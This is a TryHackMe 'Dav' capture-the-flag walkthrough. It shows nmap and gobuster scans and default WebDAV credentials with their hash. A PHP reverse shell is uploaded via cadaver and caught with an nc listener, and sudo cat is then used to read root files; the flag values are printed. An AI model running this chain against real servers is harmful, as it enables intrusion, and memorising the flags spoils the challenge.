

# Dav TryHackMe

## Dav

boot2root machine for FIT and bsides guatemala CTF

## Nmap

## Nmap Result

```
(punitzen@kali)-[~/thmlabs/Dav]
└─$ sudo nmap -sC -sV 10.10.170.126
[sudo] password for punitzen:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-19 17:41 IST
Nmap scan report for 10.10.170.126
Host is up (0.50s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http   Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Apache2 Ubuntu Default Page: It works
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 62.29 seconds

## Gobuster

## Gobuster Scan Result

```
(punitzen@kali)-[~/thmlabs/Dav]
└─$ gobuster dir -u http://10.10.170.126 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:           http://10.10.170.126
[+] Threads:       10
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:       10s
=====
2021/04/19 17:46:46 Starting gobuster
=====
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
/webdav (Status: 401)
=====
2021/04/19 17:50:43 Finished
=====
```

# ***/webdav Directory***

Default creds

username : wampp  
password : xampp

wampp:\$apr1\$Wm2VTkFL\$PVNRQv7kzqXQIHe14qKA91

Found in a file call password.dav

## ***cadaver***

using cadaver to put php revshell on the /webdav directory

cadaver <http://machineip/webdav>

Username: wampp

Password: xampp

cadaver>: put shell.php

```
=====  
└─(punitzen@kali)-[~/thmlabs/Dav]  
└─$ rlwrap nc -nvlp 4444  
listening on [any] 4444 ...  
connect to [10.XX.XX.183] from (UNKNOWN) [10.10.170.126] 55714  
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux  
05:25:45 up 16 min, 0 users, load average: 0.00, 0.00, 0.00  
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
/bin/sh: 0: can't access tty; job control turned off  
which python3  
/usr/bin/python3  
python3 -c 'import pty;pty.spawn("/bin/bash")'  
export TERM=xterm  
export TERM=xterm  
www-data@ubuntu:/$  
zsh: suspended rlwrap nc -nvlp 4444
```

```
└─(punitzen@kali)-[~/thmlabs/Dav]  
└─$ stty raw -echo
```

```
└─(punitzen@kali)-[~/thmlabs/Dav]  
└─$  
[1] + continued rlwrap nc -nvlp 4444  
www-data@ubuntu:/$
```

## ***Priviledge Escalation***

\$ sudo -l

Matching Defaults entries for www-data on ubuntu:

env\_reset, mail\_badpass,  
secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:

(ALL) NOPASSWD: /bin/cat

sudo /bin/cat /root/root.txt

101101ddc16b0cdf65ba0b8a7af7afa5

sudo /bin/cat /home/merlin/user.txt

449b40fe93f78a938523b7e4dcd66d2a

www-data@ubuntu:/home/wamppp\$